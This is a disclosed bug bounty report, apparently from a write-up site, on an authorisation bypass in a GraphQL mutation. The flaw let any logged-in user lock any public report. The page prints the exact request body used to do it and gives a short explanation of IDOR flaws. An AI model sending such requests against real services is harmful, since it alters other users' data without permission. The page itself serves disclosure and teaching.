IDOR: Authorization Bypass in LockReport Mutation for public reports
A GraphQL mutation let any authenticated user lock any public report by supplying its report ID, without proper authorisation checks.
- Triaged in 47 hours
- Fixed in 6 days
- Paid in 5 days
- Disclosed after 6 days
Summary: Hello team, I can lock any public report.
Steps To Reproduce
- Using your account, make this request. Notice its successful. Report id is the id of any public report.
{"operationName":"LockReport","variables":{"product_area":"reports","product_feature":"inbox","reportId":"Z2lkOi8vaGFja2Vyb25lL1JlcG9ydC8yMTIyNjcx"},"query":"mutation LockReport($reportId: ID!) {\n lockReport(\n input: {report_id: $reportId}\n ) {\n was_successful\n errors {\n edges {\n node {\n id\n error_code\n field\n message\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n"}
POC report: https://hackerone.com/reports/2122671 (accidental, Stopped testing after that)
Impact
Lock any report
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the LockReport GraphQL mutation did not verify that the requesting user had permission to lock the specified report, relying only on the report ID being valid.
Impact
An attacker could lock any public report.
What the attacker needed
A free account
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A report is a bug report on a bug bounty platform. The system failed to check whether the person sending the lock request had permission to lock that report, so anyone could lock any public report.
What is IDOR?
One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.